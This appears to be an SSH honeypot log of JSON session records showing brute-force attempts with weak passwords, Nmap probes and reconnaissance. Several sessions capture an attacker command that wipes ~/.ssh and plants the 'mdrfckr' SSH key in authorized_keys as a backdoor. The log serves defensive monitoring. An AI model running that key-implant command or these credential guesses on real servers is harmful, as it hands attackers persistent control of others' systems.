Credential acceptance event recorded. Target authentication: root / 123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "4820b170e4bd",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:37:57.393276Z",
"end_time": "2026-07-31T04:37:58.730667Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "123456"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi
{
"id": "087b77498542",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:37:51.685669Z",
"end_time": "2026-07-31T04:37:53.475478Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "pi",
"pass": "1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "ff04de54cfef",
"src_ip": "103.155.47.50",
"start_time": "2026-07-31T04:37:47.818549Z",
"end_time": "2026-07-31T04:37:48.992423Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi
{
"id": "d92f6fc2b147",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:37:46.340811Z",
"end_time": "2026-07-31T04:37:48.116429Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "pi",
"pass": "toor"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "52cc3d31650c",
"src_ip": "103.155.47.50",
"start_time": "2026-07-31T04:37:45.305960Z",
"end_time": "2026-07-31T04:37:47.628992Z",
"duration": "2.3",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / a123456?
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "932b9f89904f",
"src_ip": "103.155.47.50",
"start_time": "2026-07-31T04:37:41.875366Z",
"end_time": "2026-07-31T04:37:48.995377Z",
"duration": "7.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "a123456?"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ec2-user
{
"id": "c3e06811b2da",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:37:40.867003Z",
"end_time": "2026-07-31T04:37:42.665753Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ec2-user",
"pass": "ec2-user"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gary
{
"id": "3266b292acb3",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:37:35.431587Z",
"end_time": "2026-07-31T04:37:37.490450Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "gary",
"pass": "gary"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: git / git
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "f0f56b53ff94",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:37:30.130289Z",
"end_time": "2026-07-31T04:37:31.761733Z",
"duration": "1.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "git",
"pass": "git"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: git / dev
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "55dbc6721d90",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:37:24.450695Z",
"end_time": "2026-07-31T04:37:25.972562Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "git",
"pass": "dev"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: setup
{
"id": "ff648d1eb14a",
"src_ip": "93.177.157.179",
"start_time": "2026-07-31T04:37:22.514737Z",
"end_time": "2026-07-31T04:37:25.645107Z",
"duration": "3.1",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "setup",
"pass": "setup"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: odoo14
{
"id": "47cd5c0b118e",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:37:18.924877Z",
"end_time": "2026-07-31T04:37:20.708041Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "odoo14",
"pass": "odoo14"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: xxx
{
"id": "18b4cfa2f7c6",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:37:17.892386Z",
"end_time": "2026-07-31T04:37:19.855761Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "xxx",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: postgres / 123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "7caca4fe6465",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:37:13.443323Z",
"end_time": "2026-07-31T04:37:14.807897Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "postgres",
"pass": "123456"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi
{
"id": "b7100fd906c1",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:37:08.057551Z",
"end_time": "2026-07-31T04:37:10.027467Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "pi",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "4b76011dbebc",
"src_ip": "192.168.0.1",
"start_time": "2026-07-31T04:37:04.846469Z",
"end_time": "2026-07-31T04:37:04.855683Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / qQ123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "d7903cda75ce",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:37:02.656863Z",
"end_time": "2026-07-31T04:37:04.198442Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "qQ123456"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: debian
{
"id": "cc7466c51ec0",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:36:57.384030Z",
"end_time": "2026-07-31T04:36:59.173697Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "debian",
"pass": "Aa123456."
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "bae7d5f7010c",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:36:12.170209Z",
"end_time": "2026-07-31T04:36:20.168795Z",
"duration": "8.0",
"version": "SSH-2.0-Go",
"hassh": "084386fa7ae5039bcf6f07298a05a227",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: smart
{
"id": "4fb786925cd8",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:35:15.569548Z",
"end_time": "2026-07-31T04:35:17.534054Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "smart",
"pass": "1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "3293afdb6d69",
"src_ip": "103.155.47.50",
"start_time": "2026-07-31T04:34:43.739750Z",
"end_time": "2026-07-31T04:34:46.059002Z",
"duration": "2.3",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "fa973733a177",
"src_ip": "103.155.47.50",
"start_time": "2026-07-31T04:34:40.099475Z",
"end_time": "2026-07-31T04:34:43.550793Z",
"duration": "3.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / zz123456
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "08f8e71633c0",
"src_ip": "103.155.47.50",
"start_time": "2026-07-31T04:34:37.479345Z",
"end_time": "2026-07-31T04:34:46.055093Z",
"duration": "8.6",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "zz123456"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "39e16de7977a",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:33:07.610710Z",
"end_time": "2026-07-31T04:33:08.581290Z",
"duration": "1.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "46eb4c29a847",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:33:05.496083Z",
"end_time": "2026-07-31T04:33:07.459357Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 0416
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "f1915ab5e676",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:33:03.474094Z",
"end_time": "2026-07-31T04:33:08.577561Z",
"duration": "5.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "0416"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zk
{
"id": "279444d2641b",
"src_ip": "103.155.47.50",
"start_time": "2026-07-31T04:31:22.939918Z",
"end_time": "2026-07-31T04:31:25.203452Z",
"duration": "2.3",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "zk",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "8a30932fb738",
"src_ip": "35.240.88.213",
"start_time": "2026-07-31T04:30:55.941554Z",
"end_time": "2026-07-31T04:30:56.603160Z",
"duration": "0.7",
"version": "SSH-2.0-Nmap-SSH2-Hostkey",
"hassh": "e788c657d1a22971d5026526ffd2e918",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "37aba70a78ba",
"src_ip": "35.240.88.213",
"start_time": "2026-07-31T04:30:55.481570Z",
"end_time": "2026-07-31T04:30:55.789490Z",
"duration": "0.3",
"version": "SSH-2.0-Nmap-SSH2-Hostkey",
"hassh": "e788c657d1a22971d5026526ffd2e918",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: user / 3245gs5662d34
{
"id": "89b194675fa0",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:30:55.130844Z",
"end_time": "2026-07-31T04:30:56.099643Z",
"duration": "1.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "92daa86e7c80",
"src_ip": "35.240.88.213",
"start_time": "2026-07-31T04:30:55.023044Z",
"end_time": "2026-07-31T04:30:55.333790Z",
"duration": "0.3",
"version": "SSH-2.0-Nmap-SSH2-Hostkey",
"hassh": "e788c657d1a22971d5026526ffd2e918",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "bd9d8f331341",
"src_ip": "35.240.88.213",
"start_time": "2026-07-31T04:30:54.253889Z",
"end_time": "2026-07-31T04:30:54.882969Z",
"duration": "0.6",
"version": "SSH-2.0-Nmap-SSH2-Hostkey",
"hassh": "e788c657d1a22971d5026526ffd2e918",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "0ddf30754f78",
"src_ip": "35.240.88.213",
"start_time": "2026-07-31T04:30:53.437662Z",
"end_time": "2026-07-31T04:30:54.115236Z",
"duration": "0.7",
"version": "SSH-2.0-Nmap-SSH2-Hostkey",
"hassh": "e788c657d1a22971d5026526ffd2e918",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "252c08a15c84",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:30:53.018962Z",
"end_time": "2026-07-31T04:30:54.980080Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "bb91a82ee843",
"src_ip": "35.240.88.213",
"start_time": "2026-07-31T04:30:52.964642Z",
"end_time": "2026-07-31T04:30:53.272965Z",
"duration": "0.3",
"version": "SSH-2.0-Nmap-SSH2-Hostkey",
"hassh": "e788c657d1a22971d5026526ffd2e918",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "bf60a7cff423",
"src_ip": "35.240.88.213",
"start_time": "2026-07-31T04:30:52.452008Z",
"end_time": "2026-07-31T04:30:52.624442Z",
"duration": "0.2",
"version": "SSH-1.5-Nmap-SSH1-Hostkey",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: user / 666666
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "d2182d104483",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:30:50.994993Z",
"end_time": "2026-07-31T04:30:56.095881Z",
"duration": "5.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "666666"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "13275deaf54c",
"src_ip": "35.240.88.213",
"start_time": "2026-07-31T04:30:45.301687Z",
"end_time": "2026-07-31T04:30:45.476495Z",
"duration": "0.2",
"version": "SSH-2.0-Nmap_SSH2_Enum_Algos",
"hassh": "a20aced7c9824fd804f59e68dd801ad3",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
